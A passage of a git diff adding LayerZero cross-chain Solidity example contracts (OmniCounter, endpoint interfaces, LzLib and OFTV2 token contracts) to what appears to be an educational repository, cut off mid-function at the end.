+        require(keccak256(_payload) == payloadHash, "NonblockingLzApp: invalid payload");
+        // clear the stored message
+        failedMessages[_srcChainId][_srcAddress][_nonce] = bytes32(0);
+        // execute the message. revert if it fails again
+        _nonblockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
+        emit RetryMessageSuccess(_srcChainId, _srcAddress, _nonce, payloadHash);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/OmniCounter.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/OmniCounter.sol
new file mode 100644
index 000000000..57b040cc3
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/OmniCounter.sol
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+pragma abicoder v2;
+
+import "./NonblockingLzApp.sol";
+
+/// @title A LayerZero example sending a cross chain message from a source chain to a destination chain to increment a counter
+contract OmniCounter is NonblockingLzApp {
+    bytes public constant PAYLOAD = "\x01\x02\x03\x04";
+    uint public counter;
+
+    constructor(address _lzEndpoint) NonblockingLzApp(_lzEndpoint) {}
+
+    function _nonblockingLzReceive(
+        uint16,
+        bytes memory,
+        uint64,
+        bytes memory
+    ) internal override {
+        counter += 1;
+    }
+
+    function estimateFee(
+        uint16 _dstChainId,
+        bool _useZro,
+        bytes calldata _adapterParams
+    ) public view returns (uint nativeFee, uint zroFee) {
+        return lzEndpoint.estimateFees(_dstChainId, address(this), PAYLOAD, _useZro, _adapterParams);
+    }
+
+    function incrementCounter(uint16 _dstChainId) public payable {
+        _lzSend(_dstChainId, PAYLOAD, payable(msg.sender), address(0x0), bytes(""), msg.value);
+    }
+
+    function setOracle(uint16 dstChainId, address oracle) external onlyOwner {
+        uint TYPE_ORACLE = 6;
+        // set the Oracle
+        lzEndpoint.setConfig(lzEndpoint.getSendVersion(address(this)), dstChainId, TYPE_ORACLE, abi.encode(oracle));
+    }
+
+    function getOracle(uint16 remoteChainId) external view returns (address _oracle) {
+        bytes memory bytesOracle = lzEndpoint.getConfig(lzEndpoint.getSendVersion(address(this)), remoteChainId, address(this), 6);
+        assembly {
+            _oracle := mload(add(bytesOracle, 32))
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroEndpoint.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroEndpoint.sol
new file mode 100644
index 000000000..01e25df18
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroEndpoint.sol
@@ -0,0 +1,116 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity >=0.5.0;
+
+import "./ILayerZeroUserApplicationConfig.sol";
+
+interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig {
+    // @notice send a LayerZero message to the specified address at a LayerZero endpoint.
+    // @param _dstChainId - the destination chain identifier
+    // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains
+    // @param _payload - a custom bytes payload to send to the destination contract
+    // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address
+    // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction
+    // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination
+    function send(
+        uint16 _dstChainId,
+        bytes calldata _destination,
+        bytes calldata _payload,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes calldata _adapterParams
+    ) external payable;
+
+    // @notice used by the messaging library to publish verified payload
+    // @param _srcChainId - the source chain identifier
+    // @param _srcAddress - the source contract (as bytes) at the source chain
+    // @param _dstAddress - the address on destination chain
+    // @param _nonce - the unbound message ordering nonce
+    // @param _gasLimit - the gas limit for external contract execution
+    // @param _payload - verified payload to send to the destination contract
+    function receivePayload(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        address _dstAddress,
+        uint64 _nonce,
+        uint _gasLimit,
+        bytes calldata _payload
+    ) external;
+
+    // @notice get the inboundNonce of a lzApp from a source chain which could be EVM or non-EVM chain
+    // @param _srcChainId - the source chain identifier
+    // @param _srcAddress - the source chain contract address
+    function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64);
+
+    // @notice get the outboundNonce from this source chain which, consequently, is always an EVM
+    // @param _srcAddress - the source chain contract address
+    function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64);
+
+    // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery
+    // @param _dstChainId - the destination chain identifier
+    // @param _userApplication - the user app address on this EVM chain
+    // @param _payload - the custom message to send over LayerZero
+    // @param _payInZRO - if false, user app pays the protocol fee in native token
+    // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain
+    function estimateFees(
+        uint16 _dstChainId,
+        address _userApplication,
+        bytes calldata _payload,
+        bool _payInZRO,
+        bytes calldata _adapterParam
+    ) external view returns (uint nativeFee, uint zroFee);
+
+    // @notice get this Endpoint's immutable source identifier
+    function getChainId() external view returns (uint16);
+
+    // @notice the interface to retry failed message on this Endpoint destination
+    // @param _srcChainId - the source chain identifier
+    // @param _srcAddress - the source chain contract address
+    // @param _payload - the payload to be retried
+    function retryPayload(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        bytes calldata _payload
+    ) external;
+
+    // @notice query if any STORED payload (message blocking) at the endpoint.
+    // @param _srcChainId - the source chain identifier
+    // @param _srcAddress - the source chain contract address
+    function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);
+
+    // @notice query if the _libraryAddress is valid for sending msgs.
+    // @param _userApplication - the user app address on this EVM chain
+    function getSendLibraryAddress(address _userApplication) external view returns (address);
+
+    // @notice query if the _libraryAddress is valid for receiving msgs.
+    // @param _userApplication - the user app address on this EVM chain
+    function getReceiveLibraryAddress(address _userApplication) external view returns (address);
+
+    // @notice query if the non-reentrancy guard for send() is on
+    // @return true if the guard is on. false otherwise
+    function isSendingPayload() external view returns (bool);
+
+    // @notice query if the non-reentrancy guard for receive() is on
+    // @return true if the guard is on. false otherwise
+    function isReceivingPayload() external view returns (bool);
+
+    // @notice get the configuration of the LayerZero messaging library of the specified version
+    // @param _version - messaging library version
+    // @param _chainId - the chainId for the pending config change
+    // @param _userApplication - the contract address of the user application
+    // @param _configType - type of configuration. every messaging library has its own convention.
+    function getConfig(
+        uint16 _version,
+        uint16 _chainId,
+        address _userApplication,
+        uint _configType
+    ) external view returns (bytes memory);
+
+    // @notice get the send() LayerZero messaging library version
+    // @param _userApplication - the contract address of the user application
+    function getSendVersion(address _userApplication) external view returns (uint16);
+
+    // @notice get the lzReceive() LayerZero messaging library version
+    // @param _userApplication - the contract address of the user application
+    function getReceiveVersion(address _userApplication) external view returns (uint16);
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroReceiver.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroReceiver.sol
new file mode 100644
index 000000000..6278507f1
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroReceiver.sol
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity >=0.5.0;
+
+interface ILayerZeroReceiver {
+    // @notice LayerZero endpoint will invoke this function to deliver the message on the destination
+    // @param _srcChainId - the source endpoint identifier
+    // @param _srcAddress - the source sending contract address from the source chain
+    // @param _nonce - the ordered message nonce
+    // @param _payload - the signed payload is the UA bytes has encoded to be sent
+    function lzReceive(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        uint64 _nonce,
+        bytes calldata _payload
+    ) external;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroUserApplicationConfig.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroUserApplicationConfig.sol
new file mode 100644
index 000000000..5841d0429
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/interfaces/ILayerZeroUserApplicationConfig.sol
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity >=0.5.0;
+
+interface ILayerZeroUserApplicationConfig {
+    // @notice set the configuration of the LayerZero messaging library of the specified version
+    // @param _version - messaging library version
+    // @param _chainId - the chainId for the pending config change
+    // @param _configType - type of configuration. every messaging library has its own convention.
+    // @param _config - configuration in the bytes. can encode arbitrary content.
+    function setConfig(
+        uint16 _version,
+        uint16 _chainId,
+        uint _configType,
+        bytes calldata _config
+    ) external;
+
+    // @notice set the send() LayerZero messaging library version to _version
+    // @param _version - new messaging library version
+    function setSendVersion(uint16 _version) external;
+
+    // @notice set the lzReceive() LayerZero messaging library version to _version
+    // @param _version - new messaging library version
+    function setReceiveVersion(uint16 _version) external;
+
+    // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload
+    // @param _srcChainId - the chainId of the source chain
+    // @param _srcAddress - the contract address of the source contract at the source chain
+    function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/libs/LzLib.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/libs/LzLib.sol
new file mode 100644
index 000000000..cdd6ea21f
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/libs/LzLib.sol
@@ -0,0 +1,90 @@
+// SPDX-License-Identifier: BUSL-1.1
+
+pragma solidity >=0.6.0;
+pragma experimental ABIEncoderV2;
+
+library LzLib {
+    // LayerZero communication
+    struct CallParams {
+        address payable refundAddress;
+        address zroPaymentAddress;
+    }
+
+    //---------------------------------------------------------------------------
+    // Address type handling
+
+    struct AirdropParams {
+        uint airdropAmount;
+        bytes32 airdropAddress;
+    }
+
+    function buildAdapterParams(LzLib.AirdropParams memory _airdropParams, uint _uaGasLimit) internal pure returns (bytes memory adapterParams) {
+        if (_airdropParams.airdropAmount == 0 && _airdropParams.airdropAddress == bytes32(0x0)) {
+            adapterParams = buildDefaultAdapterParams(_uaGasLimit);
+        } else {
+            adapterParams = buildAirdropAdapterParams(_uaGasLimit, _airdropParams);
+        }
+    }
+
+    // Build Adapter Params
+    function buildDefaultAdapterParams(uint _uaGas) internal pure returns (bytes memory) {
+        // txType 1
+        // bytes  [2       32      ]
+        // fields [txType  extraGas]
+        return abi.encodePacked(uint16(1), _uaGas);
+    }
+
+    function buildAirdropAdapterParams(uint _uaGas, AirdropParams memory _params) internal pure returns (bytes memory) {
+        require(_params.airdropAmount > 0, "Airdrop amount must be greater than 0");
+        require(_params.airdropAddress != bytes32(0x0), "Airdrop address must be set");
+
+        // txType 2
+        // bytes  [2       32        32            bytes[]         ]
+        // fields [txType  extraGas  dstNativeAmt  dstNativeAddress]
+        return abi.encodePacked(uint16(2), _uaGas, _params.airdropAmount, _params.airdropAddress);
+    }
+
+    function getGasLimit(bytes memory _adapterParams) internal pure returns (uint gasLimit) {
+        require(_adapterParams.length == 34 || _adapterParams.length > 66, "Invalid adapterParams");
+        assembly {
+            gasLimit := mload(add(_adapterParams, 34))
+        }
+    }
+
+    // Decode Adapter Params
+    function decodeAdapterParams(bytes memory _adapterParams)
+        internal
+        pure
+        returns (
+            uint16 txType,
+            uint uaGas,
+            uint airdropAmount,
+            address payable airdropAddress
+        )
+    {
+        require(_adapterParams.length == 34 || _adapterParams.length > 66, "Invalid adapterParams");
+        assembly {
+            txType := mload(add(_adapterParams, 2))
+            uaGas := mload(add(_adapterParams, 34))
+        }
+        require(txType == 1 || txType == 2, "Unsupported txType");
+        require(uaGas > 0, "Gas too low");
+
+        if (txType == 2) {
+            assembly {
+                airdropAmount := mload(add(_adapterParams, 66))
+                airdropAddress := mload(add(_adapterParams, 86))
+            }
+        }
+    }
+
+    //---------------------------------------------------------------------------
+    // Address type handling
+    function bytes32ToAddress(bytes32 _bytes32Address) internal pure returns (address _address) {
+        return address(uint160(uint(_bytes32Address)));
+    }
+
+    function addressToBytes32(address _address) internal pure returns (bytes32 _bytes32Address) {
+        return bytes32(uint(uint160(_address)));
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/BaseOFTV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/BaseOFTV2.sol
new file mode 100644
index 000000000..c64ad42d3
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/BaseOFTV2.sol
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./OFTCoreV2.sol";
+import "./interfaces/IOFTV2.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
+
+abstract contract BaseOFTV2 is OFTCoreV2, ERC165, IOFTV2 {
+    constructor(uint8 _sharedDecimals, address _lzEndpoint) OFTCoreV2(_sharedDecimals, _lzEndpoint) {}
+
+    /************************************************************************
+     * public functions
+     ************************************************************************/
+    function sendFrom(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        LzCallParams calldata _callParams
+    ) public payable virtual override {
+        _send(_from, _dstChainId, _toAddress, _amount, _callParams.refundAddress, _callParams.zroPaymentAddress, _callParams.adapterParams);
+    }
+
+    function sendAndCall(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes calldata _payload,
+        uint64 _dstGasForCall,
+        LzCallParams calldata _callParams
+    ) public payable virtual override {
+        _sendAndCall(
+            _from,
+            _dstChainId,
+            _toAddress,
+            _amount,
+            _payload,
+            _dstGasForCall,
+            _callParams.refundAddress,
+            _callParams.zroPaymentAddress,
+            _callParams.adapterParams
+        );
+    }
+
+    /************************************************************************
+     * public view functions
+     ************************************************************************/
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
+        return interfaceId == type(IOFTV2).interfaceId || super.supportsInterface(interfaceId);
+    }
+
+    function estimateSendFee(
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bool _useZro,
+        bytes calldata _adapterParams
+    ) public view virtual override returns (uint nativeFee, uint zroFee) {
+        return _estimateSendFee(_dstChainId, _toAddress, _amount, _useZro, _adapterParams);
+    }
+
+    function estimateSendAndCallFee(
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes calldata _payload,
+        uint64 _dstGasForCall,
+        bool _useZro,
+        bytes calldata _adapterParams
+    ) public view virtual override returns (uint nativeFee, uint zroFee) {
+        return _estimateSendAndCallFee(_dstChainId, _toAddress, _amount, _payload, _dstGasForCall, _useZro, _adapterParams);
+    }
+
+    function circulatingSupply() public view virtual override returns (uint);
+
+    function token() public view virtual override returns (address);
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/NativeOFTV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/NativeOFTV2.sol
new file mode 100644
index 000000000..c3c6c769f
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/NativeOFTV2.sol
@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "./OFTV2.sol";
+
+contract NativeOFTV2 is OFTV2, ReentrancyGuard {
+    uint public outboundAmount;
+
+    event Deposit(address indexed _dst, uint _amount);
+    event Withdrawal(address indexed _src, uint _amount);
+
+    constructor(
+        string memory _name,
+        string memory _symbol,
+        uint8 _sharedDecimals,
+        address _lzEndpoint
+    ) OFTV2(_name, _symbol, _sharedDecimals, _lzEndpoint) {}
+
+    /************************************************************************
+     * public functions
+     ************************************************************************/
+    function sendFrom(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        LzCallParams calldata _callParams
+    ) public payable virtual override {
+        _send(_from, _dstChainId, _toAddress, _amount, _callParams.refundAddress, _callParams.zroPaymentAddress, _callParams.adapterParams);
+    }
+
+    function sendAndCall(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes calldata _payload,
+        uint64 _dstGasForCall,
+        LzCallParams calldata _callParams
+    ) public payable virtual override {
+        _sendAndCall(
+            _from,
+            _dstChainId,
+            _toAddress,
+            _amount,
+            _payload,
+            _dstGasForCall,
+            _callParams.refundAddress,
+            _callParams.zroPaymentAddress,
+            _callParams.adapterParams
+        );
+    }
+
+    function deposit() public payable {
+        _mint(msg.sender, msg.value);
+        emit Deposit(msg.sender, msg.value);
+    }
+
+    function withdraw(uint _amount) external nonReentrant {
+        require(balanceOf(msg.sender) >= _amount, "NativeOFTV2: Insufficient balance.");
+        _burn(msg.sender, _amount);
+        (bool success, ) = msg.sender.call{value: _amount}("");
+        require(success, "NativeOFTV2: failed to unwrap");
+        emit Withdrawal(msg.sender, _amount);
+    }
+
+    function _send(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes memory _adapterParams
+    ) internal virtual override returns (uint amount) {
+        _checkGasLimit(_dstChainId, PT_SEND, _adapterParams, NO_EXTRA_GAS);
+
+        (amount, ) = _removeDust(_amount);
+        require(amount > 0, "NativeOFTV2: amount too small");
+        uint messageFee = _debitFromNative(_from, amount);
+
+        bytes memory lzPayload = _encodeSendPayload(_toAddress, _ld2sd(amount));
+        _lzSend(_dstChainId, lzPayload, _refundAddress, _zroPaymentAddress, _adapterParams, messageFee);
+
+        emit SendToChain(_dstChainId, _from, _toAddress, amount);
+    }
+
+    function _sendAndCall(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes memory _payload,
+        uint64 _dstGasForCall,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes memory _adapterParams
+    ) internal virtual override returns (uint amount) {
+        _checkGasLimit(_dstChainId, PT_SEND_AND_CALL, _adapterParams, _dstGasForCall);
+
+        (amount, ) = _removeDust(_amount);
+        require(amount > 0, "NativeOFTV2: amount too small");
+        uint messageFee = _debitFromNative(_from, amount);
+
+        // encode the msg.sender into the payload instead of _from
+        bytes memory lzPayload = _encodeSendAndCallPayload(msg.sender, _toAddress, _ld2sd(amount), _payload, _dstGasForCall);
+        _lzSend(_dstChainId, lzPayload, _refundAddress, _zroPaymentAddress, _adapterParams, messageFee);
+
+        emit SendToChain(_dstChainId, _from, _toAddress, amount);
+    }
+
+    function _debitFromNative(address _from, uint _amount) internal returns (uint messageFee) {
+        outboundAmount += _amount;
+        messageFee = msg.sender == _from ? _debitMsgSender(_amount) : _debitMsgFrom(_from, _amount);
+    }
+
+    function _debitMsgSender(uint _amount) internal returns (uint messageFee) {
+        uint msgSenderBalance = balanceOf(msg.sender);
+
+        if (msgSenderBalance < _amount) {
+            require(msgSenderBalance + msg.value >= _amount, "NativeOFTV2: Insufficient msg.value");
+
+            // user can cover difference with additional msg.value ie. wrapping
+            uint mintAmount = _amount - msgSenderBalance;
+            _mint(address(msg.sender), mintAmount);
+
+            // update the messageFee to take out mintAmount
+            messageFee = msg.value - mintAmount;
+        } else {
+            messageFee = msg.value;
+        }
+
+        _transfer(msg.sender, address(this), _amount);
+        return messageFee;
+    }
+
+    function _debitMsgFrom(address _from, uint _amount) internal returns (uint messageFee) {
+        uint msgFromBalance = balanceOf(_from);
+
+        if (msgFromBalance < _amount) {
+            require(msgFromBalance + msg.value >= _amount, "NativeOFTV2: Insufficient msg.value");
+
+            // user can cover difference with additional msg.value ie. wrapping
+            uint mintAmount = _amount - msgFromBalance;
+            _mint(address(msg.sender), mintAmount);
+
+            // transfer the differential amount to the contract
+            _transfer(msg.sender, address(this), mintAmount);
+
+            // overwrite the _amount to take the rest of the balance from the _from address
+            _amount = msgFromBalance;
+
+            // update the messageFee to take out mintAmount
+            messageFee = msg.value - mintAmount;
+        } else {
+            messageFee = msg.value;
+        }
+
+        _transfer(_from, address(this), _amount);
+        return messageFee;
+    }
+
+    function _creditTo(
+        uint16,
+        address _toAddress,
+        uint _amount
+    ) internal override returns (uint) {
+        outboundAmount -= _amount;
+        _burn(address(this), _amount);
+        (bool success, ) = _toAddress.call{value: _amount}("");
+        require(success, "NativeOFTV2: failed to _creditTo");
+        return _amount;
+    }
+
+    receive() external payable {
+        deposit();
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTCoreV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTCoreV2.sol
new file mode 100644
index 000000000..e8135f75e
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTCoreV2.sol
@@ -0,0 +1,310 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../lzApp/NonblockingLzApp.sol";
+import "../libraries/ExcessivelySafeCall.sol";
+import "./interfaces/ICommonOFT.sol";
+import "./interfaces/IOFTReceiverV2.sol";
+
+abstract contract OFTCoreV2 is NonblockingLzApp {
+    using BytesLib for bytes;
+    using ExcessivelySafeCall for address;
+
+    uint public constant NO_EXTRA_GAS = 0;
+
+    // packet type
+    uint8 public constant PT_SEND = 0;
+    uint8 public constant PT_SEND_AND_CALL = 1;
+
+    uint8 public immutable sharedDecimals;
+
+    mapping(uint16 => mapping(bytes => mapping(uint64 => bool))) public creditedPackets;
+
+    /**
+     * @dev Emitted when `_amount` tokens are moved from the `_sender` to (`_dstChainId`, `_toAddress`)
+     * `_nonce` is the outbound nonce
+     */
+    event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes32 indexed _toAddress, uint _amount);
+
+    /**
+     * @dev Emitted when `_amount` tokens are received from `_srcChainId` into the `_toAddress` on the local chain.
+     * `_nonce` is the inbound nonce.
+     */
+    event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint _amount);
+
+    event CallOFTReceivedSuccess(uint16 indexed _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _hash);
+
+    event NonContractAddress(address _address);
+
+    // _sharedDecimals should be the minimum decimals on all chains
+    constructor(uint8 _sharedDecimals, address _lzEndpoint) NonblockingLzApp(_lzEndpoint) {
+        sharedDecimals = _sharedDecimals;
+    }
+
+    /************************************************************************
+     * public functions
+     ************************************************************************/
+    function callOnOFTReceived(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        uint64 _nonce,
+        bytes32 _from,
+        address _to,
+        uint _amount,
+        bytes calldata _payload,
+        uint _gasForCall
+    ) public virtual {
+        require(_msgSender() == address(this), "OFTCore: caller must be OFTCore");
+
+        // send
+        _amount = _transferFrom(address(this), _to, _amount);
+        emit ReceiveFromChain(_srcChainId, _to, _amount);
+
+        // call
+        IOFTReceiverV2(_to).onOFTReceived{gas: _gasForCall}(_srcChainId, _srcAddress, _nonce, _from, _amount, _payload);
+    }
+
+    /************************************************************************
+     * internal functions
+     ************************************************************************/
+    function _estimateSendFee(
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bool _useZro,
+        bytes memory _adapterParams
+    ) internal view virtual returns (uint nativeFee, uint zroFee) {
+        // mock the payload for sendFrom()
+        bytes memory payload = _encodeSendPayload(_toAddress, _ld2sd(_amount));
+        return lzEndpoint.estimateFees(_dstChainId, address(this), payload, _useZro, _adapterParams);
+    }
+
+    function _estimateSendAndCallFee(
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes memory _payload,
+        uint64 _dstGasForCall,
+        bool _useZro,
+        bytes memory _adapterParams
+    ) internal view virtual returns (uint nativeFee, uint zroFee) {
+        // mock the payload for sendAndCall()
+        bytes memory payload = _encodeSendAndCallPayload(msg.sender, _toAddress, _ld2sd(_amount), _payload, _dstGasForCall);
+        return lzEndpoint.estimateFees(_dstChainId, address(this), payload, _useZro, _adapterParams);
+    }
+
+    function _nonblockingLzReceive(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal virtual override {
+        uint8 packetType = _payload.toUint8(0);
+
+        if (packetType == PT_SEND) {
+            _sendAck(_srcChainId, _srcAddress, _nonce, _payload);
+        } else if (packetType == PT_SEND_AND_CALL) {
+            _sendAndCallAck(_srcChainId, _srcAddress, _nonce, _payload);
+        } else {
+            revert("OFTCore: unknown packet type");
+        }
+    }
+
+    function _send(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes memory _adapterParams
+    ) internal virtual returns (uint amount) {
+        _checkGasLimit(_dstChainId, PT_SEND, _adapterParams, NO_EXTRA_GAS);
+
+        (amount, ) = _removeDust(_amount);
+        amount = _debitFrom(_from, _dstChainId, _toAddress, amount); // amount returned should not have dust
+        require(amount > 0, "OFTCore: amount too small");
+
+        bytes memory lzPayload = _encodeSendPayload(_toAddress, _ld2sd(amount));
+        _lzSend(_dstChainId, lzPayload, _refundAddress, _zroPaymentAddress, _adapterParams, msg.value);
+
+        emit SendToChain(_dstChainId, _from, _toAddress, amount);
+    }
+
+    function _sendAck(
+        uint16 _srcChainId,
+        bytes memory,
+        uint64,
+        bytes memory _payload
+    ) internal virtual {
+        (address to, uint64 amountSD) = _decodeSendPayload(_payload);
+        if (to == address(0)) {
+            to = address(0xdead);
+        }
+
+        uint amount = _sd2ld(amountSD);
+        amount = _creditTo(_srcChainId, to, amount);
+
+        emit ReceiveFromChain(_srcChainId, to, amount);
+    }
+
+    function _sendAndCall(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount,
+        bytes memory _payload,
+        uint64 _dstGasForCall,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes memory _adapterParams
+    ) internal virtual returns (uint amount) {
+        _checkGasLimit(_dstChainId, PT_SEND_AND_CALL, _adapterParams, _dstGasForCall);
+
+        (amount, ) = _removeDust(_amount);
+        amount = _debitFrom(_from, _dstChainId, _toAddress, amount);
+        require(amount > 0, "OFTCore: amount too small");
+
+        // encode the msg.sender into the payload instead of _from
+        bytes memory lzPayload = _encodeSendAndCallPayload(msg.sender, _toAddress, _ld2sd(amount), _payload, _dstGasForCall);
+        _lzSend(_dstChainId, lzPayload, _refundAddress, _zroPaymentAddress, _adapterParams, msg.value);
+
+        emit SendToChain(_dstChainId, _from, _toAddress, amount);
+    }
+
+    function _sendAndCallAck(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal virtual {
+        (bytes32 from, address to, uint64 amountSD, bytes memory payloadForCall, uint64 gasForCall) = _decodeSendAndCallPayload(_payload);
+
+        bool credited = creditedPackets[_srcChainId][_srcAddress][_nonce];
+        uint amount = _sd2ld(amountSD);
+
+        // credit to this contract first, and then transfer to receiver only if callOnOFTReceived() succeeds
+        if (!credited) {
+            amount = _creditTo(_srcChainId, address(this), amount);
+            creditedPackets[_srcChainId][_srcAddress][_nonce] = true;
+        }
+
+        if (!_isContract(to)) {
+            emit NonContractAddress(to);
+            return;
+        }
+
+        // workaround for stack too deep
+        uint16 srcChainId = _srcChainId;
+        bytes memory srcAddress = _srcAddress;
+        uint64 nonce = _nonce;
+        bytes memory payload = _payload;
+        bytes32 from_ = from;
+        address to_ = to;
+        uint amount_ = amount;
+        bytes memory payloadForCall_ = payloadForCall;
+
+        // no gas limit for the call if retry
+        uint gas = credited ? gasleft() : gasForCall;
+        (bool success, bytes memory reason) = address(this).excessivelySafeCall(
+            gasleft(),
+            150,
+            abi.encodeWithSelector(this.callOnOFTReceived.selector, srcChainId, srcAddress, nonce, from_, to_, amount_, payloadForCall_, gas)
+        );
+
+        if (success) {
+            bytes32 hash = keccak256(payload);
+            emit CallOFTReceivedSuccess(srcChainId, srcAddress, nonce, hash);
+        } else {
+            // store the failed message into the nonblockingLzApp
+            _storeFailedMessage(srcChainId, srcAddress, nonce, payload, reason);
+        }
+    }
+
+    function _isContract(address _account) internal view returns (bool) {
+        return _account.code.length > 0;
+    }
+
+    function _ld2sd(uint _amount) internal view virtual returns (uint64) {
+        uint amountSD = _amount / _ld2sdRate();
+        require(amountSD <= type(uint64).max, "OFTCore: amountSD overflow");
+        return uint64(amountSD);
+    }
+
+    function _sd2ld(uint64 _amountSD) internal view virtual returns (uint) {
+        return _amountSD * _ld2sdRate();
+    }
+
+    function _removeDust(uint _amount) internal view virtual returns (uint amountAfter, uint dust) {
+        dust = _amount % _ld2sdRate();
+        amountAfter = _amount - dust;
+    }
+
+    function _encodeSendPayload(bytes32 _toAddress, uint64 _amountSD) internal view virtual returns (bytes memory) {
+        return abi.encodePacked(PT_SEND, _toAddress, _amountSD);
+    }
+
+    function _decodeSendPayload(bytes memory _payload) internal view virtual returns (address to, uint64 amountSD) {
+        require(_payload.toUint8(0) == PT_SEND && _payload.length == 41, "OFTCore: invalid payload");
+
+        to = _payload.toAddress(13); // drop the first 12 bytes of bytes32
+        amountSD = _payload.toUint64(33);
+    }
+
+    function _encodeSendAndCallPayload(
+        address _from,
+        bytes32 _toAddress,
+        uint64 _amountSD,
+        bytes memory _payload,
+        uint64 _dstGasForCall
+    ) internal view virtual returns (bytes memory) {
+        return abi.encodePacked(PT_SEND_AND_CALL, _toAddress, _amountSD, _addressToBytes32(_from), _dstGasForCall, _payload);
+    }
+
+    function _decodeSendAndCallPayload(bytes memory _payload)
+        internal
+        view
+        virtual
+        returns (
+            bytes32 from,
+            address to,
+            uint64 amountSD,
+            bytes memory payload,
+            uint64 dstGasForCall
+        )
+    {
